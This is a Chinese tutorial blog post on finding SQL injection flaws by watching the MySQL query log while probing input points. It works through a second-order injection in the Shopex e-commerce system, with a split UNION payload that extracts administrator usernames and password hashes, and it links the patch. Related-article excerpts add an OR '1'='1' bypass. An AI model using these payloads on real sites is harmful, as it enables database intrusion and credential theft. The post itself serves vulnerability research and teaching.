黑盒审计之注入漏洞挖掘思路分享

作者:viekst

0x01 注入漏洞简介

注入漏洞是web应用中最常见的安全漏洞之一,由于一些程序没有过滤用户的输入,攻击者通过向服务器提交恶意的SQL查询语句,应用程序接收后错误的将攻击者的输入作为原始SQL查询语句的一部分执行,导致改变了程序原始的SQL查询逻辑,额外的执行了攻击者构造的SQL查询语句,从而导致注入漏洞的产生。

攻击者通过SQL注入可以从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作。常见的建站系统出现SQL注入漏洞风险概率是非常高的,而本文就SQL注入漏洞的挖掘方法和大家分享交流,其他web安全漏洞暂不做探讨。

0x02 漏洞挖掘思路

我们知道在源码审计中这样的SQL注入漏洞很容易被发现,但是对于我们这样不会代码审计又想要挖漏洞的小菜来说该怎么办?那就要讲究方法了,这里和大家分享下我平时挖掘漏洞的一些思路。

首先一个好的测试环境很重要,这样我们可以在短时间内准确的找出注入的位置。在挖注入漏洞之前我们开启MySQL查询日志功能,因为有没有注入的发生,日志里面都可以最直观的看到。

然后用某个文本查看软件看日志文件打开网站程序里面执行的SQL(我这里用的是Bare Tail)

接着就是找输入点了,这个是重点 (这个过程也要仔细观察mysql查询日志)。

有些输入点信息,程序没有过滤直接查询数据库,就造成了注入,

例如,我GET提交:http://localhost/index2.php?id=1a

在监控的MYSQL日志中跟随1a,此处出现id=1a,可以看出该处未作处理,

并且是一个整型变量,且在单引号外面,

那么我们提交一下URL即可注入,获取数据任意信息。http://localhost/index2.php?id=1%20union%20select%20user%28%29%20from%20user

实际的提交需要根据数据库中查询的语句来构造。

还有一种情况输入点的信息保存到数据库中,或者服务器的session中二次读取时未处理也可导致注入,这种二次注入很多都是不受单引号影响,所以相对来说好利用,危害也是非常大,在mysql日志中跟随输入点的信息,这时一定要仔细调试,一旦出现该信息,我们可以看出是否可利用,根据相关情况构造注入语句。

0x03 Shopex漏洞实例

以shopex漏洞挖掘为例,shopex为部分源码加密,解密较为繁琐,涉及文件太多,进行代码审计需要耗费很多时间,然而利用上面的方法即可轻松找出漏洞。

打开网站,登录后我们随便来到一个产品页面,点击收藏该产品的时候,查看post的信息,其中的75是我们产品的ID,该处也是个输入点。

我们将其改为74a在提交一次试试,跟随SQL日志,可以看到其执行的语句为。

可以看到该处是没有经过过滤的,74a已经成功写入数据库了,如果二次取出时也没有过滤将造成注入,我们再来到会员中心页面,该处会在正常操作下显示我们收藏商品。

此时查看数据库执行日志发现74a已经出现了,由此可以判断该处存在二次注入。

由于这里是组合而成的,我们构造好注入语句然后拆分提交,即可绕过首页的过滤

http://localhost/index.php?member-SQL-ajaxAddFav.html

我们将上面的SQL替换成以下信息,分三次提交:

0)/**/union/**

**/select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/**

**/from sdb_operatorslimit 1%23

来到会员中心页面在产品收藏处可以看到管理员信息。

观察数据库日志可以看到此时执行的SQL语句为

Query   SELECT aGoods.*,aGimage.thumbnail FROM sdb_goods as aGoods left joinsdb_gimages as aGimage on aGoods.image_default=aGimage.gimage_id  WHEREaGoods.goods_id IN (0)/**/union/**,**/select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/**,**/fromsdb_operators limit 1#) LIMIT 0, 10

补丁地址:http://bbs.shopex.cn/read.php?tid-308423.html

0x04 总结

这个半黑盒测试的流程是:

开启查询日志------查找输入点-------跟随输入信息--------是否可利用-------构造注入语句

此过程中的重点就是找输入点和跟随输入信息。

输入点是我们实施注入的入口点,我们必须有效控制这些才能实现注入,这些输入点可以包含其中一些:

1)表单提交,主要是POST请求,也包括GET请求。

2)URL参数提交,主要为GET请求参数。

3)Cookie参数提交。

4)HTTP请求头部的一些可修改的值,比如Referer、User_Agent等。

5)一些边缘的输入点,比如.jpg文件的一些文件信息等。

有些程序采用了一些错误处理,就算SQL查询语句出错了也是没有任何报错的,这个时候我们只能通过监视SQL查询日志来判断了,一旦有注入漏洞的产生这里将是最先看到。

熟练运用该方法基本可以找到程序中所有的注入漏洞,且不需要太懂代码,要得只是耐心和细心


 
时间: 2024-08-25 22:27:59

黑盒审计之注入漏洞挖掘思路分享的相关文章

可编程逻辑控制器(PLC)漏洞挖掘思路与验证

mailto wangkai0351@gmail.com 随时记录千奇百怪的漏洞挖掘思路,主要针对STEP7 v5+西门子S7-300/400系列PLC,欢迎同行前来交流. 组态信息下载完整性攻击 思路来源: 组态信息在上位机中的组织形式 组态信息在报文中的组织形式 验证过程: 验证结果: 总结反思: 梯形图下载完整性攻击 思路来源: 验证过程: 验证结果: 总结反思: 协议用户认证 原文地址:https://www.cnblogs.com/bianmu-dadan/p/10442961.htm

漏洞挖掘经验分享

我平时挖洞的经验,我总结了一下,大概有以下几点: 1.收集信息,尽可能的越多越好(主域名.IP段.搜索引擎.GitHub等). 2.收集好信息后,对收集的信息进行一些扩展,增加信息收集的量(可以用SubDomain工具批量收集厂商域名信息,域名对应IP,数据多了之后,就可以拿来分析域名的真实地址.以及潜在的IP段). 3.对IP段.子域名等进行大量破解,这里我们要经常收集一些SRC开发常用的端口.以及一些域名的命名习惯(GitHub上面有很多现成的端口,平时收集信息的时候,可以多注意一下). 4

PHP代码审计入门(SQL注入漏洞挖掘基础)

SQL注入漏洞 SQL注入经常出现在登陆页面.和获取HTTP头(user-agent/client-ip等).订单处理等地方,因为这几个地方是业务相对复杂的,登陆页面的注入现在来说大多数是发生在HTTP头里面的client-ip和x-forward-for. 1.普通注入 普通注入是指最容易利用的SQL注入漏洞,比如直接通过注入union查询就可以查询数据库,一般的SQL注入工具也能够非常好地利用.普通注入有int型和string型 测试环境搭建: 数据库名为test  数据库表名userinf

PHP4-漏洞挖掘思路

漏洞挖掘思路 漏洞形成的条件 1.变量可控制 2.变量可到达有利用价值的函数(危险函数) 漏洞造成的效果 漏洞的利用效果取决于最终的函数功能,变量进入什么样的函数就导致什么样的效果 危险函数 文件包含:包含漏洞 代码执行:执行任意代码漏洞 命令执行:执行任意命令漏洞 文件系统操作:文件(目录)读写删等漏洞 数据库操作:SQL注入漏洞 数据显示:XSS等客户端漏洞 -------- 代码审计的本质 找漏洞==找对应变量与函数 常见的代码审计思路 1.根据敏感关键字回溯参数传递过程 [逆向追踪] 优

Discuz!7.2 faq.php文件SQL注入漏洞分析及利用实战

[antian365.com] simeon 最近网上公开了Discuz!7.2版本faq.php文件SQL注入0day,通过对文件漏洞分析以及实战测试,效果不错,公开利用exp的利用需要对SQL语句以及数据库等相当了解,在某些情况下需要多种技术配合才能最终攻克目标,下面就漏洞代码以及实战利用等进行探讨,对获取管理员密码的利用,uc_key获取webshell,插件导入获取Webshell等进行探讨. 1. faq.php文件SQL注入漏洞代码分析 本次存在漏洞的文件为faq.php,打开该文件

[网站安全] [实战分享]WEB漏洞挖掘的一些经验分享

WEB漏洞有很多种,比如SQL注入,比如XSS,比如文件包含,比如越权访问查看,比如目录遍历等等等等,漏洞带来的危害有很多,信息泄露,文件上传到GETSHELL,一直到内网渗透,这里我想分享的最主要的是SQL注入,因为尽管过去了很多年,SQL注入依然是现在最大的一个问题,我们打开wooyun,看看已经注册的乌云厂商,其中能看到厂商漏洞分布的一个饼状图,其中占领面积最大的就是SQL注入,那么SQL注入带来的危害有很多了,比如最后的GETSHELL,比如百万级用户信息泄露的基础都是SQL注入,我接触

【安全牛学习笔记】手动漏洞挖掘-SQL注入

[email protected]:~# john --format=raw-MD5 dvwa.txt [email protected]:~# cd .john/ [email protected]:~/.john# ls john.log  john.pot [email protected]:~/.john# cat john.log [email protected]:~/.john# cat john.pot [email protected]:~/.john# rm *       

【安全牛学习笔记】KALI版本更新(第一个ROLLING RELEASE)和手动漏洞挖掘(SQL注入)

KALI版本更新-----第一个ROLLING RELEASE Kali 2.0发布时声称将采用rolling release模式更新(但并未实施) Fixed-release 固定发布周期 使用软件稳定的主流版本 发布-----主流-----作废 更稳定,适合于企业生产环境 Rolling release 使用于开发者和技术人员 连续升级新版本,追求在新功能出现后最快使用 正在成为流行 KALI版本更新-----第一个ROLLING RELEASE Kali 2.0 rolling relea

【分享】SQL中的注入漏洞

例:假设一个账户密码的输入在数据库中是这样进行判断的. SELECT (FPASSWORD = '123456' ) AS PWDCORRECT FROM T_USER WHERE FUSER= 'GUEST' 如果输入: SELECT (FPASSWORD='1' OR '1'='1') AS PWDCORRECT FROM T_USER WHERE FUSER='ABC' 因为 ‘1’=‘1’ 永远返回的是true 所以 这就造成了SQL 的注入漏洞. 解决办法: ①:过滤敏感字符 if(u